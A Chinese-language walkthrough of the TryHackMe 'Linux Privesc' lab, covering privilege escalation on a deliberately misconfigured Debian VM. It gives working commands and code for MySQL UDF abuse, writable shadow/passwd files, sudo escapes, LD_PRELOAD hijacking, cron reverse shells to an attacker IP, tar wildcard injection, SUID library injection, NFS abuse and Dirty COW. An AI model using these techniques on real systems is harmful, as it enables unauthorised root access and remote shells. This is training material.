【THM】Linux Privesc(Linux提权进阶)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/linuxprivesc
本文相关内容:在一个配置错误的Debian虚拟机上练习Linux提权,使用多种方法获得root权限,目标靶机支持通过SSH协议进行访问。
准备阶段
部署靶机,靶机在22端口开启了SSH,可以使用ssh user@MACHINE_IP登录目标机的user
用户,密码为password321
。
如果你得到一个错误:
Unable to negotiate with <IP> port 22: no matching how to key type found. Their offer: ssh-rsa, ssh-dss
这可能是因为 OpenSSH 已经不支持 ssh-rsa,请在你的命令中添加-oHostKeyAlgorithms=+ssh-rsa
重新进行连接。
完成以上操作之后,接下来的任务会教你不同的权限提升技巧,你需要完成任务得到root shell。
请记住在开始下一个任务之前退出 shell 并将会话重新建立为“user”帐户!
答题
要求一:部署靶机并使用 SSH 登录到目标机器的“user”帐户。(靶机类型为Linux Debian系)
使用以下命令:
ssh user@10.10.230.41 -oHostKeyAlgorithms=+ssh-rsa
要求二:运行" id "命令,能得到什么结果?
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
答题卡
服务漏洞exp提权
服务只是在后台运行、接受输入或执行常规任务的程序。如果弱势服务以root权限运行,则可以利用它们实现命令执行。
如果MySQL 服务能够以 root 用户身份运行(错误配置的 MySQLServer ),那么我们可以使用一个很流行的漏洞exp--来利用用户定义函数(UDF--User Defined Functions ),然后通过运行 MySQL 服务来获得root 用户权限以执行系统命令。
MySQL(Linux)-UDF-exp地址链接:https://www.exploit-db.com/exploits/1518
相关漏洞详情:https://www.cvedetails.com/cve/CVE-2005-0711
该exp影响的目标范围:MySQL 4.x/5.0 (Linux) + 错误配置的 MySQLServer
查看以root权限运行的服务,查看mysql版本:
ps aux | grep "^root"
mysqld --version
使用以上exp进行提权
#切换目录:
cd /home/user/tools/mysql-udf #在该路径下有一个aptor_udf2.c文件 (这个是靶机创建者提供的exp文件,和上面链接中的exp内容一致)
raptor_udf2.c文件的内容如下(和链接中给出的exp内容一致,下面截图显示的并非全部内容):
该exp文件内容中的注释部分给出了用法示例,我们先查看一下:
对exp文件进行编译(以下命令能够在上图中找到):
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
#使用 gcc 需要两次运行才能编译成一个共享对象。
#你可以在目标机或者攻击机上编译 C 代码,如果你在攻击机上编译它,请记住操作系统的体系结构可能不同,所以最好还是在目标机上进行编译
使用空白密码作为 root 用户连接到 MySQL 服务,得到一个MySQL shell:
mysql -u root
#如果此处需要密码的话,我们要先找到mysql用户的密码,然后使用mysql -u root -p 登录mysql
#关于mysql的用户和密码信息,尝试找一下/var/www/html/config.inc.php
在 MySQL shell 上执行以下命令,利用我们已经编译过的exp创建用户定义函数(UDF) " do _ system ":
#选择 mysql db
use mysql;
#我们需要创建一个临时表供我们使用。因为我们需要一个地方来加载共享的二进制文件到 MySQL。
create table foo(line blob);
#接下来需要将文件内容插入到表中
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
#要使用UDF,我们还需要找到插件目录的位置,这就是我们需要存储文件的地方,可以通过命令找到:show variables like '%plugin%';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
#创建函数
create function do_system returns integer soname 'raptor_udf2.so';
#验证函数是否成功被创建:select * from mysql.func;
使用刚才创建的函数将/bin/bash 复制到/tmp/rootbash 并设置 SUID 权限:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
#也可以执行其他命令如:"select do_system('nc 192.168.1.24 4444 -e /bin/bash &');" 提前在攻击机上设置netcat监听器,就能捕获一个root shell。
退出 MySQL shell(输入 exit 或者 \q 然后按下回车键),并用-p 运行/tmp/rootbash 可执行文件,以获得一个具有 root 特权的 shell:
/tmp/rootbash -p
操作成功之后,删除/tmp/rootbash 可执行文件并退出root shell,继续做下一个任务。
rm /tmp/rootbash
exit
弱文件权限提权-可读的/etc/shadow
/etc/shadow 文件包含用户的密码哈希值,通常只有 root 用户可读,如果普通用户也能对etc/shadow 文件进行读取,那么我们就能利用可读的/etc/shadow提权。
查看/etc/shadow 文件权限分配情况(发现其他用户也有读写权限):
ls -l /etc/shadow
查看/etc/shadow 文件的内容:
cat /etc/shadow
/etc/shadow文件内容中的每一行代表一个用户,可以在每行的第一个和第二个冒号 😃 之间找到用户的密码hash值(如果有的话)。
将 root 用户的 hash 保存到 Kali VM 上名为 hash.txt 的文件中,并使用 john the ripper 来破解它。你可能必须首先解压缩/usr/share/wordlist/rockyou. txt.gz 并根据你的 Kali 版本使用 sudo 运行命令:
root的密码hash为:\(6\)Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
破解得到的root密码为:password123
使用的hash算法为(使用john进行hash破解时,会自动显示hash算法类型):sha512crypt
切换用户到root,使用刚才获取的root用户的密码进行登录,得到root权限:
su root #密码为:password123
答题卡
弱文件权限提权-可写/etc/shadow
/etc/shadow 文件包含用户的密码哈希值,通常只有 root 用户可写,如果普通用户也能对etc/shadow 文件进行写入,那么我们就能利用可写的/etc/shadow提权。
在上一节中,使用" ls -l /etc/shadow "查看/etc/shadow文件的权限分配情况时,发现其他用户能够对/etc/shadow文件进行读写。
现在,使用一个自己选择的密码来生成一个新的密码hash值:
mkpasswd -m sha-512 newpassword #从上一小节中,我们已经知道root用户的密码hash值 使用的算法类型
编辑/etc/shadow 文件,并用刚刚生成的密码散列(hash)值 替换原始 root 用户的密码散列值,然后切换到root用户,使用自己设置的密码进行登录,得到root权限:
nano /etc/shadow
su root #新密码为:newpassword
弱文件权限提权-可写/etc/passwd
/etc/passwd 文件包含有关用户帐户的信息,通常只能由 root 用户写入。从历史上看,以前的/etc/passwd 文件会包含用户的密码哈希值,而且现在某些版本的 Linux 仍然允许在/etc/passwd文件中存储用户的密码哈希值
Linux系统为了向后兼容,有如下特性:如果/etc/passwd中用户行的第二个字段包含密码哈希,它将优先于/etc/shadow中的哈希。
使用" ls -l /etc/passwd " 查看/etc/passwd文件的权限分配情况(发现其他用户可读写/etc/passwd文件):
使用一个自定义的密码重新生成一个新的密码hash值:
openssl passwd 123456
编辑/etc/passwd 文件,并将刚才新生成的密码hash放置在 root 用户行的第一个和第二个冒号(:)之间(替换“ x”),然后切换到 root 用户,使用新密码登录:
nano /etc/passwd
su root
#或者添加一个新的root用户条目(此处使用的hash值也是刚才生成的):newroot:$1$.35ewmwH$HoI6txtQIjK0XEl7weECl.:0:0:root:/root:/bin/bash
#然后使用新增的root用户身份进行登录
答题卡
Sudo提权-Shell 转义序列
输入命令" sudo -l " ,查看普通用户user能够以root权限运行何种服务且不需要密码:
访问GTFOBins( https://gtfobins.github.io/ )并搜索上图中的程序名称,如果某些程序以“ sudo”被列出,你就可以尝试使用它来提升权限,这个过程通常是通过转义序列来完成。
上图列出的命令或者程序在 GTFOBins 上没有 shell 转义序列的是:
从命令" sudo -l "的输出列表中选择一个程序,然后使用 GTFOBins 中的命令尝试获得一个 root shell,具体的指令已经记录在下面:
#iftop的sudo提权命令
sudo iftop
!/bin/sh
#nano的sudo提权命令
sudo nano
^R^X
reset; sh 1>&0 2>&0
#vim的sudo提权命令
sudo vim -c ':!/bin/sh' #还有其他可行命令,但是需要语言环境支持,具体请参考GTFOBins
#man的sudo提权命令
sudo man man
!/bin/sh
#awk的sudo提权命令
sudo awk 'BEGIN {system("/bin/sh")}'
#less的sudo提权命令
sudo less /etc/profile
!/bin/sh
#nmap的sudo提权命令(禁用输入回显)
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
#nmap的sudo提权命令(利用nmap版本2.02至5.21的交互模式)
sudo nmap --interactive
nmap> !sh
#more的sudo提权命令
TERM= sudo more /etc/profile
!/bin/sh
选择vim程序来进行提权操作(退出vim使用" :quit "):
#方法一:输入sudo vim,然后在vim编辑器界面按下Shift键加" : "键,接着输入"!sh",按下回车即可
sudo vim
:!sh #用:!bash也可以
whoami
#方法二:输入以下命令,执行即可
sudo vim -c ':!/bin/bash' #也可以用sudo vim -c ':!/bin/sh'
#两种方法原理是一样的,都是尝试让vim程序执行 启动shell的命令(可以启动bash、sh等)
尝试在没有 shell 转义序列的情况下,使用sudo来操作apache2程序进行提权:
sudo apache2 -f /etc/shadow
拿到root用户的密码hash值,然后使用john进行hash破解,最后使用密码直接登陆root用户即可(前面已经有类似的操作截图,此处不再赘述)
答题卡
Sudo提权-环境变量
可以将 Sudo 配置为从用户的环境继承某些环境变量。
检查继承了哪些环境变量(在本例中查看 env _ keep 选项) :
sudo -l
从上图可以看到 LD_PRELOAD 和 LD_LIBRARY_PATH 都是从用户环境继承的,当程序运行时,LD_PRELOAD 会先加载一个共享对象,而LD_LIBRARY_PATH 则提供了首先搜索共享库的目录列表。我们可以对环境变量LD_PRELOAD 和LD_LIBRARY_PATH进行利用(使用sudo)。
关于LD_PRELOAD利用的资料:
https://jvns.ca/blog/2014/11/27/ld-preload-is-super-fun-and-easy/
使用位于/home/user/tools/sudo/preload.c 的代码创建一个共享对象:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
#本质上是编译preload.c 以便我们使用它
为了解实现原理,我们看一下preload.c的内容:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
//执行_init函数:释放环境变量、设置uid和root的uid对应、设置命令"/bin/bash -p"(该命令作用是打开bash shell)
// unsetenv函数介绍
// 头文件:#include<stdlib.h>
// 函数原型: int unsetenv(const char* name)
// 函数说明:删除name环境变量的定义,即使不存在也不会出错
// 参数:name为环境变量名称字符串。
// 返回值:成功返回0,错误返回-1
运行一个允许通过 sudo 运行的程序(在运行 sudo-l 时会列出) ,同时将 LD _ PRELOAD 环境变量设置为新共享对象的完整路径(此时能获取到root shell):
sudo LD_PRELOAD=/tmp/preload.so vim
#使用LD_PRELOAD环境变量能够在程序中覆盖任意的函数调用
#当sudo vim执行时,本应该调用vim,但是此处会先加载共享对象/tmp/preload.so
退出root shell,继续操作:对 apache2程序文件运行 ldd,该命令能够查看程序使用哪些共享库:
ldd /usr/sbin/apache2
使用位于/home/user/tools/sudo/library _ path.c的代码创建一个与apache2列出的库(libcrypt.so.1)同名的共享对象:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
#本质上是编译library_path.c 以便我们使用它
为了解实现原理,我们看一下library_path.c的内容:
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
//执行hijack函数:释放环境变量、设置uid和root的uid对应、设置命令"/bin/bash -p"(该命令作用是打开bash shell)
// unsetenv函数介绍
// 头文件:#include<stdlib.h>
// 函数原型: int unsetenv(const char* name)
// 函数说明:删除name环境变量的定义,即使不存在也不会出错
// 参数:name为环境变量名称字符串。
// 返回值:成功返回0,错误返回-1
使用 sudo 运行 apache2,同时将LD_LIBRARY_PATH 环境变量设置为/tmp (/tmp目录下存在已编译的共享对象),获得root shell :
sudo LD_LIBRARY_PATH=/tmp apache2
#此处运行sudo apache2时,本应该会加载apache2所使用的共享库
#但刚才创建了一个和apache2使用的真实共享库同名的共享对象(/tmp/libcrypt.so.1),并且指定了首先搜索共享库的目录列表(/tmp)
#所以以上命令执行时,会先加载/tmp/libcrypt.so.1共享对象
退出root shell,将上面的/tmp/libcrypt.so.1文件 重命名为apache2使用的另一个库的名称,然后再次使用 sudo 重新运行 apache2(也能获得root权限):
Cron Jobs提权-文件权限分配错误
Cron 作业(jobs)是用户可以安排在特定时间或间隔运行的程序或脚本。Cron 表文件(crontabs)里面存储着 Cron 作业的配置,在系统范围内的 crontab 位于/etc/crontab路径下。
使用命令查看全系统 crontab 的内容:
cat /etc/crontab
可以看到:有两个 cron 作业计划每分钟运行一次,一个运行 overwrite.sh,另一个运行/usr/local/bin/compress.sh。
我们找到 overwrite.sh 文件的完整路径,查看权限分配情况(普通用户可读写):
locate overwrite.sh
ls -l /usr/local/bin/overwrite.sh
用以下内容替换overwrite.sh文件内容(ip修改为攻击机ip,在使用openvpn的情况下,是tun0处的ip地址,输入ifconfig查看即可):
#!/bin/bash
bash -i >& /dev/tcp/10.14.30.69/4444 0>&1
新的overwrite.sh文件内容其实是一个反向shell payload,我们在攻击机的端口4444上设置一个 netcat 监听器,并等待目标机上的cron 作业运行(应该不会超过一分钟),然后root shell就会回连攻击机上的 netcat 监听器:
nc -nvlp 4444
Cron Jobs提权-PATH环境变量
使用命令查看全系统 crontab 的内容(cat /etc/crontab),和上一小节一样的结果,可以看到有两个 cron 作业计划每分钟运行一次,一个运行 overwrite.sh,另一个运行/usr/local/bin/compress.sh,还可以看到crontab的PATH变量值。
在本小节我们要利用Cron Jobs结合PATH环境变量来提权,注意,由上图可知:本例中crontab的PATH 变量是从/home/user 开始(这是用户的 home 目录)
在/home/user/目录下,创建一个名为 overwrite.sh的文件,其内容如下:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
最后再确保刚刚创建的overwrite.sh文件有可执行权限:
chmod +x /home/user/overwrite.sh
等待 cron 作业运行(不应超过一分钟),然后使用-p 运行/tmp/rootbash 命令,以获得具有 root 权限的 shell:
/tmp/rootbash -p
此处的原理:
由于本例中crontab的PATH 变量是从/home/user路径开始(运行cron jobs时,第一个找的就是该路径),所以我们在/home/user目录下 伪造一个overwrite.sh文件,它和系统中的cron作业------overwrite.sh名字相同;
系统在运行cron jobs时,会根据PATH变量先找到伪造的overwrite.sh文件并去执行它,然后伪造的overwrite.sh会生成一个带s权限的文件rootbash,而rootbash实际上是bash文件的一个副本:运行效果是以root身份执行bash文件,会打开一个root shell(shell的类型为bash,权限为root)。
验证完之后,删除文件并退出root shell:
rm /tmp/rootbash
exit
答题卡
Cron Jobs提权-tar命令结合通配符
衔接上一小节,我们查看另外一个cron job文件的内容:
cat /usr/local/bin/compress.sh
从上图我们能看到:tar 命令是在 home 目录中使用通配符(*)运行的,将/home/user下所有文件和目录打包并压缩成/tmp/backup.tar.gz 。
tar常见命令参数:
#语法:tar [-zjxcvfP] filename
c //创建新的归档文件
x //对归档文件解包
t //列出归档文件里的文件列表
v //输出命令的归档或解包的过程
f //指定包文件名,多参数f写最后
C //指定解压目录位置
z //使用gzip压缩归档后的文件(.tar.gz)
j //使用bzip2压缩归档后的文件(.tar.bz2)
J //使用xz压缩归档后的文件(tar.xz)
X //排除多个文件(写入需要排除的文件名称)
h //打包软链接
P //连带绝对路径打包
--hard-dereference //打包硬链接
--exclude //在打包的时候写入需要排除的文件或目录
//常用打包与压缩组合
czf //打包成tar.gz格式
cjf //打包成tar.bz格式
cJf //打包成tar.xz格式
zxf //解压tar.gz格式
jxf //解压tar.bz格式
xf //自动选择解压模式
tf //查看压缩包内容
//以gzip归档方式打包并压缩
tar czf test.tar.gz test/ test2/
//以bz2方式打包并压缩
tar cjf test.tar.bz2 dir.txt dir/
查看 GTFOBins 页面中的 tar( https://gtfobins.github.io/gtfobins/tar/ ),tar命令也可用于sudo提权。
注意:tar 具有命令行选项且具有检查点特性(checkpoint),我们可以利用tar的特性从而让tar命令将文件名识别为命令行。
在攻击机上使用 msfvenom生成一个反向 shell ELF 二进制文件,修改 LHOST IP 地址:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.14.30.69 LPORT=4444 -f elf -o shell.elf
将 shell.elf 文件传输到目标机的/home/user/目录下(你可以使用 scp 或者在 Kali机上的 webserver 上托管shell.elf文件,并在目标机上使用 wget获取)。
#攻击机
python3 -m http.server 8000
#目标机(攻击机上的ssh界面)
cd /home/user/
wget 10.14.30.69:8000/shell.elf
确保文件是可执行的:
chmod +x /home/user/shell.elf
在/home/user 中创建这两个文件:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
#--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由--checkpoint-action指定
#exec:执行外部命令或运行可执行文件
当 cron 作业中的 tar 命令运行时,通配符(*)将扩展为包含上面两个文件(因为它们都在/home/user中),由于它们的文件名是有效的 tar 命令行选项,tar 将识别它们,并将它们视为命令行选项而不是文件名。
在攻击机的端口4444上设置一个 netcat 监听器,并等待目标机上的cron 作业运行(应该不会超过一分钟),然后root shell就会回连攻击机上的 netcat 监听器:
nc -nlvp 4444
操作完之后退出root shell,并删除刚才的文件:
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf
SUID/SGID 可执行文件提权-已知漏洞exp
在目标机上查找所有的 SUID/SGID 可执行(二进制)文件:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
#运行SUID/SGID可执行文件时,会暂时获得文件拥有者的用户权限或者文件所在组的用户权限
#如果某一个SUID文件的拥有者是root,那么执行该文件时的权限就是root权限了。
#我们要达到的目的是以root权限执行shell命令:如/bin/bash等;这样就能得到一个root shell的命令行环境。
注意,结果中出现了/usr/sbin/exim-4.84-3,尝试找到这个版本的exim的已知漏洞:搜索 Exploit-DB, Google, 以及GitHub等等 。
Exploit-DB:https://www.exploit-db.com/
vulners:https://vulners.com/
GTFOBins:https://gtfobins.github.io/
通过检索,我们知道有一个与这个 exim 版本完全匹配的本地权限提升漏洞exp,在实际环境中,我们要自己下载好exp并上传或者复制到目标机上。
在目标机上运行exp程序,获取 root shell:
/home/user/tools/suid/exim/cve-2016-1531.sh
SUID/SGID 可执行文件提权-共享对象注入
目标机上的SUID 可执行文件:/usr/local/bin/suid-so ,容易受到共享对象注入的影响。
在文件上运行 strace命令,跟随suid-so文件的执行情况,并在输出中搜索" open "、" access "调用和" no such file "错误:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
关于strace命令的文档学习:https://jvns.ca/strace-zine-v3.pdf
注意,我们通过观察发现:可执行文件suid-so试图在我们的主目录里加载/home/user/.config/libcalc.so共享对象,但是找不到。
现在我们开始伪造一个/home/user/.config/libcalc.so共享对象文件。
我们先创建.config 目录:
mkdir /home/user/.config
再创建一个libcalc.c(这个文件能产生一个 Bash shell),libcalc.c文件的内容如下:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
c文件在linux中要编译才能使用,我们将libcalc.c编译成一个共享对象并放置在/home/user/.config路径下:
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
再次执行suid-so可执行文件,这次suid-so会成功加载一个伪造的/home/user/.config/libcalc.so共享对象,最终效果是得到一个 root shell。
/usr/local/bin/suid-so
SUID/SGID 可执行文件提权-环境变量
PATH环境变量介绍:
使用cat $PATH或者echo $PATH ,可以查看当前用户的PATH环境变量,使用env可以查看系统的所有环境变量(env|more 分页查看)
PATH 环境变量的内容是由一堆目录组成的,各目录之间用冒号“:”隔开。
当执行某个命令时,Linux 会依照 PATH 中包含的目录依次搜寻该命令的可执行文件,一旦找到,即正常执行;反之,则提示无法找到该命令。
注意:如果在 PATH 包含的目录中,有多个目录都包含某命令的可执行文件,那么会执行先搜索到的可执行文件。(这一特性可以利用)
我们可以利用目标机上的SUID 可执行文件/usr/local/bin/suid-env,因为它继承了用户的 PATH 环境变量(/usr/local/bin/包含在PATH变量值中),并且尝试在不指定绝对路径的情况下执行程序。
首先,执行/usr/local/bin/suid-env文件并注意它似乎试图启动 apache2 webserver:
/usr/local/bin/suid-env
在该文件上运行strings命令,查找文件内容中的可打印字符并打印出字符串:
strings /usr/local/bin/suid-env
观察strings命令打印出来的内容,最后一行(“ service apache2 start”)表示调用了service可执行文件来启动 web 服务器,但是此处没有使用service可执行文件的完整路径(/usr/sbin/service)。
我们可以伪造一个同名service可执行文件,并且将这个伪造文件对应的目录添加到PATH环境变量值中,因为后添加的目录会在PATH变量值的第一个位置,所以伪造的文件能够被首先执行到。(这是因为真正的service 文件在执行时,没有指定完整路径)
我们先创建一个service.c,再把它编译成可执行文件service ,我们来看一下的service.c的内容:
int main() {
setuid(0);
system("/bin/bash -p");
}
//很明显,service.c的代码效果会产生一个bash shell
现在将/home/user/tools/suid/service.c 编译成名为 service 的可执行文件(编译完成后,service 文件会出现在当前的工作目录):
gcc -o service /home/user/tools/suid/service.c
#编译得到的service在/home/usr目录下
将当前工作目录(或新的service可执行文件所在的目录)前置添加到PATH 变量中,并同时执行/usr/local/bin/suid-env,成功获得 root shell::
PATH=.:$PATH /usr/local/bin/suid-env
#这个命令前半部分会在PATH变量值的开头部分添加一个路径, " . "表示当前工作目录的路径
#这个命令的后半部分会执行/usr/local/bin/suid-env文件,该文件执行时会找到当前工作目录下的伪造service文件并执行它
SUID/SGID 可执行文件提权-滥用 Shell 特性(# 1)
SUID可执行文件/usr/local/bin/suid-env2与上一小节的/usr/local/bin/suid-env 功能相同,只是它使用service可执行文件(/usr/sbin/service)的绝对路径来启动 apache2 Web 服务器。
查看suid-env2文件内容中的字符串以验证其功能:
strings /usr/local/bin/suid-env2
在 Bash 版本 < 4.2-048中,可以定义名称类似于文件路径的shell 函数(将文件路径当做函数名),然后导出函数,以便在该文件路径中使用它,而不是使用其他任何实际的可执行文件。
验证安装在目标机上的 Bash 版本是否小于4.2-048:
/bin/bash --version
创建一个 shell函数,名称为"/usr/sbin/service"(创建函数,顶替真实路径),作用是执行一个新的 Bash shell(使用-p 保留权限),然后导出这个函数:
function /usr/sbin/service { /bin/bash -p; } #创建函数,函数名为 "/usr/sbin/service"
export -f /usr/sbin/service #导出函数
运行SUID可执行文件suid-env2以获得root shell:
/usr/local/bin/suid-env2
SUID/SGID 可执行文件提权-滥用 Shell 特性(# 2)
4.4版本之前的Bash shell允许本地用户通过精心设计的SHELLOPTS 和 PS4环境变量执行具有 root 权限的任意命令(通过SUID可执行文件来赋予命令root权限)。
相关的cve链接:https://www.cvedetails.com/cve/CVE-2016-7543/
注意: 这不适用于4.4及以上版本的 Bash。
在调试(debugging )模式下,Bash可以使用环境变量 PS4来显示调试语句的额外提示(我们可以利用这个额外提示,来执行任意命令)。
在启用 bash 调试的情况下运行SUID可执行文件/usr/local/bin/SUID-env2,并将 PS4变量设置为一个嵌入式命令,该命令的作用是创建/bin/bash 的 SUID 版本:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
#Bash具有调试模式,可通过–x命令行选项开启,或者通过修改SHELLOPTS环境变量让它包括xtrace---以此启用调试模式
在上一行命令执行成功后,会生成一个SUID版本的/bin/bash文件(也就是/tmp/rootbash),使用-p 运行这个/tmp/rootbash 可执行文件,以获得使用 root 权限运行的 shell:
/tmp/rootbash -p
完成验证之后,删除/tmp/rootbash 可执行文件并退出升级后的 shell:
rm /tmp/rootbash
exit
密码及密钥-利用历史文件提权
如果用户不小心在命令行而不是密码提示符中键入了密码,那么它可能会被记录在历史文件中。
查看用户主目录中所有隐藏历史文件的内容:
cat ~/.*history | less
#less命令规定了输出结果的格式,浏览时支持向前和向后翻看
#使用ZZ退出 less 命令。
从历史记录中,我们能看到用户在某个时刻尝试使用“ root”用户名和通过命令行提交的密码来连接到 MySQL 服务器,注意:图中的-p 选项和密码之间没有空格!
我们切换到 root 用户,使用在历史记录中看到的密码登录:
su root
密码和密钥-利用配置文件提权
配置文件通常可能包含明文或其他可逆格式的密码。
列出用户主目录的内容:
ls /home/user
我们注意到用户主目录下有一个 myvpn.ovpn 配置文件,查看其内容:
cat /home/user/myvpn.ovpn
该文件的内容包含了可以找到root用户登录凭据的其他位置的引用,去对应位置找到登录凭据,使用凭据登录 root 用户:
答题卡:
密码和密钥-利用SSH密钥提权
如果私钥权限设置错误,这个私钥就很容易被利用。
有时,用户会备份重要文件,但可能没有使用正确的权限去保护它们,尝试在目标机的系统根目录中查找隐藏的文件和目录:
ls -la /
注意,目标系统的根目录下似乎有一个名为.ssh 的隐藏目录,这个目录对其他用户可读,我们使用命令来查看.ssh目录的内容:
ls -l /.ssh
我们发现了一个名为 root_key 的全用户可读文件,进一步检查这个文件发现它可能是一个私有 SSH 密钥,文件的名称也暗示了 它可能是为 root 用户设置的。
现在,把这个密钥复制到你的 Kali 里面(只需查看root_key文件的内容并复制、粘贴密钥即可)并给予它正确的权限,否则你的 SSH 客户端将拒绝使用它:
chmod 600 root_key #仅文件所有者可读可写
接下来,使用该密钥并作为目标机的root 帐户-----用攻击机远程登录到目标机:
#ssh -i root_key root@MACHINE_IP
ssh -i root_key root@10.10.83.196 #指定目标机ip
如果我们是用自己的kali机作为攻击机,那么上面那条命令将无法成功执行。因为我们的kali是通过OpenSSH连接到TryHackMe平台的内网,而OpenSSH 已经不支持 ssh-rsa。
我们通过以下步骤解决这个问题:
1.保证攻击机上的root_key权限为600
2.cd ~/.ssh目录下
3.创建文件config,内容为:PubkeyAcceptedKeyTypes +ssh-rsa ,保存并退出。
4.在kali机上打开一个新的终端窗口,输入: ssh -i root_key root@10.10.83.196 -oHostKeyAlgorithms=+ssh-rsa
NFS提权
通过 NFS 创建的文件会继承远程用户的 ID。
现在我们通过NFS创建一个文件(该文件是客户机和服务机共享的),把攻击机用户作为远程用户(客户机),如果攻击机用户是 root,有以下两种情况:
1.目标机(服务机)上启用了root_squash选项,则文件的用户ID 在服务机上将被设置为“ nobody”用户,具有最少的本地特权;
2.目标机(服务机)上启用了no_root_squash选项,则文件的用户ID 在服务机上将被设置为root。
检查目标机上的 NFS 共享配置:
cat /etc/exports
关于/etc/exports文件:
/etc/exports文件包含了将哪些文件夹(目录)/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成
[共享的目录] [主机名或IP(参数,参数)]
其中参数是可选的,当不指定参数时,nfs将使用默认选项------默认的共享选项是 sync,ro,root_squash,no_delay。
当主机名或IP地址为空时,则代表共享能给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样设置:
[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
#上面说的客户机是远程用户,带有NFS共享配置文件的机器是服务机(客户机和服务机是一组相对的概念)
我们可以看到/tmp目录是可共享的,远程用户可以挂载它,并且/tmp目录共享还禁用了root_squash选项(启用no_root_squash选项-----即代表禁用了root_squash)。
在攻击机上先切换到root用户。
sudo su
使用攻击机的root用户,在攻击机上创建一个挂载点并挂载目标机的/tmp 共享目录:
mkdir /tmp/nfs #创建一个挂载点
mount -o rw,vers=3 10.10.83.196:/tmp /tmp/nfs #挂载目标机(nfs服务机)的/tmp共享目录,此处可能因为版本问题失败-----修改版本号即可
#如果攻击机没有安装NFS,需要先用以下命令安装:
#sudo apt install nfs-common
#apt-get install cifs-utils
继续使用攻击机的root用户,通过msfvenom生成一个payload并将其保存到 刚才挂载的共享目录(这个payload的作用是调用/bin/bash)
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
仍然使用攻击机的 root 用户,使刚才的payload文件可执行并设置 SUID 权限:
chmod +xs /tmp/nfs/shell.elf
在目标机上操作(通过ssh登陆之后的界面),作为目标机上的低权限用户帐户,执行共享目录下的文件以获得 root shell:
/tmp/shell.elf
答题卡
内核漏洞exp提权
内核漏洞利用是权限提升的最后一招,内核漏洞利用(exp)可能会使系统处于不稳定状态,这就是为什么只有在万不得已的情况下才应该运行它们。
有许多工具可用于识别当前内核版本中的可利用漏洞:
运行Linux Exploit Suggester 2工具,来识别当前系统上潜在的可利用内核漏洞(它运行在目标系统上,如果目标系统上没有这个工具,就要下载或者上传一个):
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
#上条命令可以后跟参数,如:-k 2.6.32 (将会查找版本为2.6.32的linux系统内核漏洞exp)
观察以上命令的输出结果,我们可以看到目标系统存在一个非常流行的Linux内核漏洞"Dirty COW"(脏牛),我们接下来利用这个漏洞的exp来提权。
exp全称:Linux 内核2.6.22 < 3.9(x86/x64)- 'Dirty COWCOW/proc/self/mem' 竞争条件权限提升(SUID 方法)
在目标机上创建c0w.c文件-----该文件的内容为"Dirty COW"的exp代码;也可以将exp文件放置在攻击机上,然后攻击机使用python3开启HTTP服务,目标机通过wget下载c0w.c文件。
执行这个exp会将SUID文件/usr/bin/passwd替换为 生成shell的文件(从外在看不出变化),我们先备份/usr/bin/passwd到/tmp/bak:
cp /usr/bin/passwd /tmp/bak #执行脏牛exp时,也可能会自动备份/usr/bin/passwd
编译c0w.c文件,将编译结果输出为一个可执行文件c0w,然后我们执行c0w:
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
./c0w
一旦exp执行完毕,我们就去运行/usr/bin/passwd文件,最后得到一个root权限的shell:
/usr/bin/passwd
完成验证后,记得恢复原始的/usr/bin/passwd 文件并退出root shell:
mv /tmp/bak /usr/bin/passwd
exit
权限提升检测脚本
已经有一些工具能够帮助找到 Linux 上潜在的权限升级漏洞,其中三个工具已经包含在目标机的以下目录中:/home/user/tools/privesc-scripts
尝试使用这三种工具(推荐使用第二个脚本)。
LinEnum:https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linpeas.sh(推荐):https://github.com/carlospolop/PEASS-ng/releases/tag/20221009
lse.sh:https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
